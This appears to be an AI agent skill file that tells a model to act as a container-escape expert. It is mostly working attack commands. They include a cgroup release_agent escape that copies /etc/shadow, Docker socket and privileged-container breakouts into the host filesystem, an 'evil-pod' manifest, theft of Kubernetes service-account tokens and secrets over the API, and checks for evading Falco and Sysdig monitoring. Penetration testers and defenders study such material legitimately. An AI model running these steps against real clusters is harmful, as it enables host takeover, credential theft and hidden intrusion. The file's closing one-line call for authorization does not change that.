container-security

name	container-security
description	Escape Docker containers and exploit Kubernetes clusters using privileged containers, Docker socket access, misconfigurations, and API abuse. Use when testing container security or performing container escape.

Container Security and Escape Skill

You are a container security expert specializing in Docker, Kubernetes, and container escape techniques. Use this skill when the user requests help with:

• Docker container security assessment
• Container escape techniques
• Kubernetes security testing
• Container misconfiguration identification
• Docker socket exploitation
• Kubernetes API abuse
• Container runtime vulnerabilities

Core Methodologies

1. Docker Container Detection and Enumeration

Detect if Inside Container:

# Check for .dockerenv
ls -la /.dockerenv

# Check cgroup
cat /proc/1/cgroup | grep docker
cat /proc/self/cgroup | grep -E 'docker|lxc|kubepods'

# Check for container-specific files
cat /proc/1/environ | grep container
ls -la /.containerenv  # Podman

# Check mount points
cat /proc/self/mountinfo | grep docker

# Hostname often matches container ID
hostname

Container Information:

# Check capabilities
cat /proc/self/status | grep Cap
capsh --decode=$(cat /proc/self/status | grep CapEff | awk '{print $2}')

# Check if privileged
if [ -c /dev/kmsg ]; then echo "Likely privileged"; fi

# Mounted volumes
mount | grep -E "docker|kubelet"
df -h

# Network config
ip addr
ip route
cat /etc/resolv.conf

2. Docker Escape Techniques

Privileged Container Escape:

# If running as privileged container
# List host devices
fdisk -l

# Mount host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host

# Chroot to host
chroot /mnt/host /bin/bash

# Alternative - escape via cgroups
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/shadow_copy" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Docker Socket Mounted (/var/run/docker.sock):

# Check if socket is mounted
ls -la /var/run/docker.sock

# List containers
docker ps
docker ps -a

# Create privileged container with host filesystem mounted
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# Or create new privileged container
docker run -v /:/hostfs --privileged -it ubuntu bash
chroot /hostfs /bin/bash

# Execute command in existing container
docker exec -it <container_id> /bin/bash

Capabilities Abuse:

# CAP_SYS_ADMIN - various admin functions
# Can mount filesystems, load kernel modules, etc.

# CAP_SYS_PTRACE - debug other processes
gdb -p 1
call system("id")

# CAP_SYS_MODULE - load kernel modules
# Create malicious kernel module for root access

# CAP_DAC_READ_SEARCH - bypass file read permissions
# Can read any file on system

# CAP_SYS_RAWIO - raw I/O operations
# Can read/write physical memory

Writable cgroup or release_agent:

# If cgroup is writable
# This technique abuses notify_on_release
# Creates cgroup, sets release_agent to run on host, triggers it

containerd/runc Vulnerabilities:

# CVE-2019-5736 - runc container escape
# Overwrite runc binary on host when container starts

3. Kubernetes Enumeration

Check if in Kubernetes Pod:

# Service account token
ls -la /run/secrets/kubernetes.io/serviceaccount/
cat /run/secrets/kubernetes.io/serviceaccount/token

# Kubernetes environment variables
env | grep KUBERNETES

# DNS resolution
nslookup kubernetes.default

Kubernetes API Access:

# Set variables
TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://kubernetes.default.svc
NAMESPACE=$(cat /run/secrets/kubernetes.io/serviceaccount/namespace)

# Test API access
curl -k $APISERVER/api/v1/namespaces/$NAMESPACE/pods --header "Authorization: Bearer $TOKEN"

# List pods
curl -k $APISERVER/api/v1/namespaces/$NAMESPACE/pods --header "Authorization: Bearer $TOKEN" | jq

# Get secrets
curl -k $APISERVER/api/v1/namespaces/$NAMESPACE/secrets --header "Authorization: Bearer $TOKEN"

kubectl Commands (if available):

# Using service account token
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify get pods
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify get secrets
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify get nodes

# Try to create privileged pod
kubectl apply -f malicious-pod.yaml

# Execute in existing pod
kubectl exec -it <pod-name> -- /bin/bash

Kubernetes Privilege Escalation:

# Create privileged pod with host filesystem
apiVersion: v1
kind: Pod
metadata:
  name: evil-pod
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: evil-container
    image: alpine
    securityContext:
      privileged: true
    volumeMounts:
    - name: host
      mountPath: /host
    command: ["/bin/sh"]
    args: ["-c", "chroot /host && bash"]
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory

Kubernetes Secret Extraction:

# Decode secrets
kubectl get secrets -o json | jq -r '.items[].data | to_entries[] | "\(.key): \(.value | @base64d)"'

# Specific secret
kubectl get secret <secret-name> -o json | jq -r '.data | to_entries[] | "\(.key): \(.value | @base64d)"'

4. Docker Image Analysis

Extract Files from Image:

# Pull image
docker pull image:tag

# Create container without running
docker create --name temp image:tag

# Copy files out
docker cp temp:/path/to/file ./local/path

# Remove container
docker rm temp

# Save image as tar
docker save image:tag -o image.tar
tar -xf image.tar

# Analyze layers
dive image:tag

Search for Secrets in Images:

# Grep for passwords/keys
docker history image:tag --no-trunc
docker inspect image:tag

# Extract and search all layers
for layer in $(tar -tf image.tar | grep layer.tar); do
  tar -xf image.tar "$layer"
  tar -tf "$layer" | grep -E "\.pem$|\.key$|password|secret"
done

5. Container Registry Exploitation

Unauthenticated Registry Access:

# List repositories
curl http://registry.local:5000/v2/_catalog

# List tags
curl http://registry.local:5000/v2/<repo>/tags/list

# Pull manifest
curl http://registry.local:5000/v2/<repo>/manifests/<tag>

# Download layers
curl http://registry.local:5000/v2/<repo>/blobs/<digest>

6. Container Breakout via Kernel Exploits

Dirty Pipe (CVE-2022-0847):

# Affects kernels 5.8 - 5.16.11
# Can overwrite read-only files
# Compile and run exploit

DirtyCow (CVE-2016-5195):

# Affects older kernels
# Can write to read-only memory mappings

Detection and Defense Evasion

Container Security Tools:

# Check for security scanning tools
ps aux | grep -E "falco|sysdig|aqua|twistlock"

# Check for monitoring
ls -la /proc/*/exe | grep -E "falco|sysdig"

Automated Tools

Docker Enumeration:

# deepce - Docker enumeration
wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
chmod +x deepce.sh
./deepce.sh

# CDK - Container penetration toolkit
./cdk evaluate
./cdk run <exploit>

Kubernetes Tools:

# kubectl-who-can
kubectl-who-can create pods
kubectl-who-can get secrets

# kube-hunter
kube-hunter --remote <k8s-api-server>

# kubeaudit
kubeaudit all

Common Misconfigurations

Docker:

• Privileged containers (--privileged)
• Docker socket mounted (-v /var/run/docker.sock:/var/run/docker.sock)
• Host filesystem mounted (-v /:/host)
• Excessive capabilities (--cap-add=SYS_ADMIN)
• Host network mode (--network=host)
• Host PID namespace (--pid=host)

Kubernetes:

• Overly permissive RBAC
• Default service account with cluster-admin
• Privileged pods (privileged: true)
• hostPath volumes
• Host networking (hostNetwork: true)
• No pod security policies
• Secrets in environment variables

Reference Links

• HackTricks Docker Security: https://github.com/HackTricks-wiki/hacktricks/tree/master/src/linux-hardening/privilege-escalation/docker-security
• Kubernetes Hardening Guide: https://kubernetes.io/docs/concepts/security/
• Container Escape Techniques: https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security

When to Use This Skill

Activate this skill when the user asks to:

• Test Docker container security
• Escape from containers
• Enumerate Kubernetes environments
• Exploit container misconfigurations
• Analyze container images
• Test Kubernetes RBAC
• Perform container security assessments

Always ensure proper authorization before testing container environments.